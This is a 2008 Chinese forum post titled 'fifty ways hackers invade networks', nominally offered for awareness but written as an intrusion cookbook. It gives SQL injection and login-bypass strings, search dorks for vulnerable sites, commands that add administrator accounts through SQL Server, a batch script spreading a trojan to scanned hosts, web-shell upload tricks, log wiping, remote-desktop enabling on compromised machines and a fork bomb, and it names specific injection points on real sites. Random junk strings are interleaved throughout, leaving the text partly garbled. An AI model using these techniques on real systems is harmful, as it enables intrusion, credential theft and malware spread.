黑客入侵网络的五十种方法(页 1) - 电脑综合区 - 我爱电脑技术论坛打造最好的电脑自学交流论坛

tianshiren 发表于 2008-6-26 18:18

黑客入侵网络的五十种方法

现在网上的攻击事件越来越多，黑客都是通过什么方法来攻击我们的呢？下面我们给大家总结了黑客入侵网络的五十种方法，让大家做到有备无患。
　　1.网宽网络有限公司制作的网站基本都有注入漏洞搜索网宽网络 !e{rh)[6E

　　2.搜索栏里输入
+i-kJ8U/~
　　关键字%’and 1=1 and ’%’=’

　　关键字%’and 1=2 and ’%’=’ 6qU&A4SaO%Y

　　比较不同处可以作为注入的特征字符

　　3.登陆框用户名和密码输入’or’=’or’ 漏洞很老但是现在很是遍地都是 :r8I+T8{zIE

　　4.我们先到[url]www.google.com[/url]底下搜索一下co net mib ver 1.0
1C#`Rv+D;Z3s6g.U
　　密码帐号都是 ’or’=’or’

　　5.挂马代码 8RtKO AZ[

　　6.[url]http://www.wyyfk.com/24[/url]小时挂qq工具 +O9e7mTBK
Dq/Sx5Dt` K
　　7.开启regedt32的sam的管理员权限检查hkey_local_machine\sam\sam\和hkey_local_machine\sam\sam\下的管理员和guest的f键值,如果一样就是用被入侵过了,然后删了guest帐号,对方可以用guest帐号使用administraeors的权限,你也可以用这方法留住肉鸡,这方法是简单克隆, q^u\0\4v4L

　　net localgroup administrators还是可以看出guest是管理员来

　　7.只要敢想,新浪也可入侵注入点
!kC:J1K7Q3Ys
　　[url]http://igame.sina.com.cn/plaza/event/new/crnt_event_view.asp?event_id=59[/url]
k7u;S3E0rEN
　　微软官方网站注入点

　　[url]http://www.microsoft.com/library/toolbar/3.0/search.aspx?view=en-us&charset=iso-8859-1&qu=[/url] AY#^s&JB\]-ug6n
K&m:]5f _ ~JWD
　　8.ms05016攻击工具用法 mshta.exe test.hta 文件名.后缀名可以绑上qq大盗木马 Zy9U/V|1^ ^)V
8L_BDf
　　9.有sa权限sqlserver数据库、并且能sql注入支持fso+asp的服务器

　　sql注入后，如何上传木马, 0[D qD3Y4g`)TM,BDV?
5q3L3mgy
　　文章地址 [url]http://hack123.home4u.china.com/0601.htm[/url] LD;ySQ#J f
Bdb*b7f)Y
　　10.qq强制聊天代码
#ft r} uF7X E:l7di
　　[url]http://wpa.qq.com/msgrd?v=1&uin=[/url]对方的qq号&site=ioshenmue&menu=yes
Q[z&U,hF
　　使用方法：把代码中的红色的“********”星号换成你想与其聊天的qq号后复制到浏览器的地址栏处即可。无论他是否你的好友，你无须加他为好友就能给他发qq消息。 Xurn0e

　　11. mybbs论坛cookie欺骗后台备份马

　　12.软件instsrv.exe 把.exe文件做成系统服务来启动用来肉鸡挂qq等

　　用法: 安装： instsrv.exe 服务名称路径
"r'Xl#y$kI{dD
　　卸载： instsrv.exe 服务名称 remove

　　13.以动网为例数据库查找dv_log,在上面的查询的字段名里选l_content后面的关键字填上password2,找到的username2=%b7%e7%a4%ce%b0%d7%d2%c2&password2=01180017&username1=%b7%e7%a4%ce%b0%d7%d2%c2&submit=%cc%ed+%bc%d3 password2=01180017就是他的登陆密码 z'TT Y,E}
?qqG7W'Ta
　　14.搜索的技巧 inurl:网址 w*S"oL6GH9r

　　15.启航工作室wms 5.0网站程序漏洞

　　在baidu 搜索powered by: sailingstudio website manage system 5.0 (sp1) 6|JI`'o6SG
.e v4x/}"P3q+Q,Cp
　　利用动画看[url]http://soft.77169.com/62/20050530/6824.html[/url]
r$fz W"o C
　　16.很多网站程序(比如华硕中文官方网站)上传图片时有可能在检测文件的时候是从左朝又进行检测，也就是说，他会检测文件是不是有.jpg，那么我们要是把文件改成：ating.jpg.asp试试。。由于还是asp结尾，所以木马不会变~

　　17.天意商务系统网上依然有有漏洞网站具体的样式[url]http://www.wzgcc.org/[/url]
;G:\^%P.R*b#g
　　工具下载[url]www.hack6.com[/url] 7I _'?}:x ]L!sT
_;]3D/~/sC
　　地址栏里，填上天意商务系统的网址就可以了，注意一定要是主页面
dXP me`'H{w/|f
　　18.sql注入时工具---internet选项---高级里找到显示友好的错误信息勾去掉 4BH)qDK,K9evm

　　不能注入时要第一时间想到%5c暴库 8T$| Fg|G.ge9t%O
I2{;`zh:Tn
　　19.这个dbinbd.asp文件插入后门的功能适用于文件名为.asp的所有access数据库不是动网论坛也一样可以使用的,后门隐蔽，几乎发现不了 Oi z3c1P[f

　　工具使用方法动画和所有文件
(iY/YH xryL(F
　　[url]http://www.anquanwu.com/bbs/printpage.asp?boardid=2&id=811[/url] ~,z*G%B+p3d:M
Dz~%qEK*jC$@:c
　　20.缺少xp_cmdshell时
~"P R{p9{
　　尝试恢复exec sp_addextendedproc xp_cmdshell,@dllname=’xplog70.dll’ dYUj/TCo0xX

　　假如恢复不成功,可以尝试直接加用户(针对开3389的) -Z5[4Zl!f6u
)A-l$DJ:bI
　　declare @o int

　　exec sp_oacreate ’wscript.shell’,@o out
Lb2M@3R kV%MD
　　exec sp_oamethod @o,’run’,null,’cmd.exe /c net user ating ating /add’ 再提到管理员
21.批量种植木马.bat  -dYV C(e7tJ/L
+itzo[6lY t4i.j%c
　　for /f %%i in (扫描地址.txt) do copy pc.exe %%i\admin$Content$nbsp;复制木马到扫描的计算机当中

　　for /f %%i in (扫描地址.txt) do at %%i 09:50 pc.exe 在对方计算机上运行木马的时间 Fb:{HR{|S AJF
KwRB`
　　扫描地址.txt里每个主机名一行用\\开头 :X2[g2e1|3_
fQ9y1j#O&Qrt
　　22.搜索 powered by discuz!4.0.0rc3 开放头像的可利用工具地址[url]www.hack6.com[/url]

　　23.dv7.1用还原数据功能还原asa木马 a I!U%?`aEW
;UL ?pE o/pRA
　　24.凡人网络购物系统v6.0 可以%5c暴库 JBR$U;PFJW
Mb:n}]
　　25.ipb2.0.2漏洞构造语句 ha1jCa;W
@$A2nQ8SIN
　　$qpid=1) and 1=2 union select 1,2,3,4,5,6,7,8,9,10,member_login_key,12,13,14,15,16,17,18,19,1 from ibf_members where id=1 /* 暴管理员密码想看动画到黑基里找 ipb<= 2.0.3论坛注入工具 [url]www.hack6.com[/url]有下载
m!c$ol,kc
　　26. 将工具传到邮箱在下载上右击复制快捷方式拥有自己了的下载空间 (NUkB9R&\&m[D
$T)h}$_;U6ID^-vI
　　27.北京冲qb要宽带号跟绑定宽带的后4位电话,当你扫出北京款待号的密码必须是8位的密码,而且开头是6或8的才可以,因为北京的电话都是6根8开头的而且都是8位的,北京的区名海淀东城西城门头沟丰台潮阳宣武通州昌平,去[url]http://cnc.qq.com/bbn/[/url]冲
rN,W\ lZ+w
　　28.搜索企业网络办公系统添’or’’=’ 登陆在个人邮箱上传asp木马

　　29.本人原创搜索"一点点星空驿站留言本" 默认数据库是gbmdb.mdb 很多网站用这个留言本但是用搜索引擎搜不到可以给大家在入寝时多个思路 N,x4p7KW7HX

　　30.在程序上传shell过程中，程序不允许包含标记符号的内容的文件上传,比如蓝屏最小的asp木马,我们来把他的标签换一下：保存为.asp,程序照样执行. Ec(b6|h/K
8Z^r x9I7U P,g*Uc
　　31.目录权限设置变态的话可以用一些方法(比如serv-u溢出)将此web用户提权可访问全站目录挂马
L;w4k#[fA-F$Q}h"^
　　32.喜欢网页挂马的看看这篇总结文章吧

　　[url]http://77169.com/news/hk/2005060611656.html[/url]

　　33.搜索"images/admin" 或".tw/images/admin" 可以找到些台湾的数据库

　　34.iis6 for windows 2003 enterprise edition 如iis发布目录文件夹包含.asp后辍名.
$\7a.}!A%Xl+qy%?4n
　　将.asp后辍改为.jpg或其它的如.htm,也可以运行asp,但要在.asp文件夹下. IH+?,o7bRsR

　　.cer 等后缀的文件夹下都可以运行任何后缀的asp木马 4D#AG7iXc9jM

　　35.telnet一台交换机然后在telnet控制主机控制主机留下的是交换机的ip
7z:W2{G"xj1G2]W
　　然后用#clear logg和#clear line vty *删除日志

　　36.搜索关键字:"copyright 2003-2004 动易网络" 后面地址改成upfile_soft.asp 这样的漏洞很多
U4rF]_L"weHE
　　37.bbsxp的漏洞总结 powered by bbsxp 5.15/licence blog.asp中的对id 的过滤不严的漏洞拿到管理员的前后台密码工具：bbsxp完全版 cookies 欺骗 bbsxp 过滤了 asp 文件的上传所以我们这里用 asa 来传马 )AuEx| M7e
i:Mk v/sV2Q\Cye
　　38.学会总结入侵思路[url]http://www.77169.com/news/hk/2005060811688.html[/url]

　　39.电脑坏了省去重新安装系统的方法 3E)_?o XAp

　　纯dos下执行， 8f9C4Roqso
*k|&oM H9F"J6xH'x
　　xp:copy c:\windows\repair\*.* 到 c:\windows\system32\config NM(~)T5y+v

　　2k: copy c:\winnt\repair\*.* 到 c:\winnt\system32\config

　　40.一般人设置啊拉qq大盗的时候发信和收信都是同一个信箱，因此当我的机子中了此木马后没有立即杀掉进程，而是用内存编辑工具打开它的进程，查找smtp字样，就会找到它的信箱和密码了。只对1.5以前的管用. ?9~A(e$|%Q
41.内网控制内网用vidc 还要有一只肉鸡动画看黑基的

　　[url]http://soft.77169.com/62/20050608/6878.html[/url]

　　42.有许多管理员用备份的日期做备份数据库的名字 Yx~:@*V"M$Y7s6b

　　比如[url]http://www.hack6.com/bbs/databackup/20050601.mdb[/url]
5Nl$dj`:H)K
　　43.动网数据库oldusername=%b5%f0%b7%c0&username2=%b5%f0%b7%c0&password2=19841202&adduser=%b5%f0%b7%c0&id=12&submit=%b8%fc+%d0%c2
8if,cqL?.t
　　不知道用户名(不是%b8%f0%b7%c0) 转化这个用他本身的页面

　　[url]http://www.hack6.com/bbs/showerr.asp?boardid=0&errcodes=10[/url],11&action=%cc%ee%d0%b4%b5%c7%c2%bc%d0%c5%cf%a2 4a c$UK*p2^zWn
0o@P$~:\6l T
　　%cc%ee%d0%b4%b5%c7%c2%bc%d0%c5%cf%a2这句话意思是“填写登录信息” j7Or%L^(EKu(J*y
7I1y]d(sz9O \TU
　　那么就把%cc%ee%d0%b4%b5%c7%c2%bc%d0%c5%cf%a2换成%b5%f0%b7%c0 可以看到用户名 \hu@a$hKa

　　44.对付信息监控系统木马必须是加密的如net user用不了就用net1 user等等我是大连的大连这边主机用这方法好用可以直接传加密的马用用黑基tyrant的方法上传一个cmd的aspshall 用nc连接自己的nc监听端口在web目录下写个加ftp用户的txt 本地43958用nc提交 ftp到服务器加用户 !ol sst$R;K:v3M5~
45.解决tcp/ip筛选在注册表里有三处，分别是：  oO3~-Gn7\B
$t/` X7x ~m
　　hkey_local_machine\system\controlset001\services\tcpip W/\#Bh!i9Te4n)z

　　hkey_local_machine\system\controlset002\services\tcpip

　　hkey_local_machine\system\currentcontrolset\services\tcpip 8d.|*|9nt_t7k)S

　　分别用 paU6|+?d{P$@f5E1O
!A,hM j[*b @/I
　　regedit -e d:\a.reg hkey_local_machine\system\currentcontrolset\services\tcpip N@\}1[\-a
FyT'`|0R9m2LdAF"K
　　regedit -e d:\b.reg hkey_local_machine\system\controlset002\services\tcpip

　　regedit -e d:\c.reg hkey_local_machine\system\currentcontrolset\services\tcpip
;u^^]6hARqgQ
　　命令来导出注册表项 w A#zK-N4HMe
fCiI4^ sE
　　然后把三个文件里的enablesecurityfilters"=dword:00000001，

　　改成enablesecurityfilters"=dword:00000000 再将以上三个文件分别用

　　regedit -s d:\a.reg regedit -s d:\b.reg regedit -s d:\c.reg 导入注册表即可 3{V8vG _
\],OI-G1E`"E(D w[
　　46.使chm木马无法在本地运行木马程序将注册表"hkey_current_u \7MG+m!ZN,x"_)h4n

　　ser\software\microsoft\windows\currentversion\internet settings\zones\0"下的1004项的值由原来十进制的0改为十六进制的3。 L7M;t[(B9An
#K:\@1yM{"Wgq
　　47.开3389的5种方法 .L]IB3z6^

　　(1)打开记事本，编辑内容如下：
Tm2bv)s-st e
　　echo [components] > c:\sql
0L,WV~:w
　　echo tsenable = on >> c:\sql y6Uyz]#pp

　　sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q
6H$@7D$@-nk
　　编辑好后存为bat文件，上传至肉鸡，执行。 HJ(C1s1N,@
C O5R5_oPua
　　(2) (对xp\2000都有效) 脚本文件本地开3389 工具:rots1.05 A%G/Jahr1m8RQ

　　下载地址:[url]www.netsill.com/rots.zip[/url]
4\`-V4`]okd C
　　在命令行方式下使用windows自带的脚本宿主程序cscript.exe调用脚本，例如：

　　c:\>cscript rots.vbs <目标ip> <用户名> <密码> [服务端口] [/r] 8F\c|Ml+\
(ZR y#T!~
　　如果要对本地使用，ip地址为127.0.0.1或者一个点(用.表示)，用户名和密码都为空(用 ""表示)。

　　(3)djshao正式版5.0 2TP?"I p3R+rY!}|`

　　解压djshao5.0.zip,用你的随便什么方法把把解压出来的djxyx*.**e上传到肉鸡的c:\winnt\temp下，然后进入c:\winnt\temp目录执行djxyx*.**e解压缩文件，然后再执行解压缩出来的azzd.exe文件，等一会肉鸡会自动重启!重启后会出现终端服务

　　(4)下载dameware nt utilities 3.66.0.0 注册版

　　地址[url]www.netsill.com/dwmrcw36600.zip[/url] \`$G^1zTD@)NC+y
e:@*vz9Q d
　　安装注册完毕后输入对方ip用户名密码，等待出现是否安装的对话框点是。
|Rp'E}IkQv
　　复制启动后出现对方桌面。 !T E?u,pJP3K%c*VV"Z

　　在对方桌面进入控制面版，点添加或删除程序。进入后点添加/删除windows组件，找到终端服务，点际进入后在启动终端服务上打上勾。确定自动提示重起，重起后ok

　　(5)大家最常用的 3389.exe 下载地址[url]www.hack6.com[/url] 把程序上传到肉鸡运行后重启既可

　　48.qq上得到别人的ip

　　一般跟别人聊天如果是对方先对你说话那么她的ip显示出来的概率就大

　　当然如果是我们找对方可以先跟她说发过去消息之后然后关闭窗口等待她的回复

　　还可以用天网防火墙选择上udp数据保检测,即可拦截到对方ip
f:Tx)R2Kr\i
　　49.挂马js代码document.write(’’);保存到js页面里可让所有页面挂马 M2kJO(WB
NxN8|CUTae
　　50.让服务器重启 ,rO0M O7y^
7u^`c o
　　写个bat死循环: %iY$d(pc\
K@IbOiF.j
　　@echo off LXs9Z_4{Z
LT*nt8wZS N#Na
　　:loop1 ?j;_+\o GI

　　cls .^-W)[]v!a
#U-~ nrZY a
　　start cmd.exe AfN[IT3do/kl
Q2bA'U ?1h d%T&{
　　goto loop1 $N,qK7[x} wU
#b `!R)TW `#q0|
　　保存成bat guset权限就可以运行运行后很快服务器就会死机管理员自然会去重启

页: [1]

我爱电脑技术论坛's Archiver

黑客入侵网络的五十种方法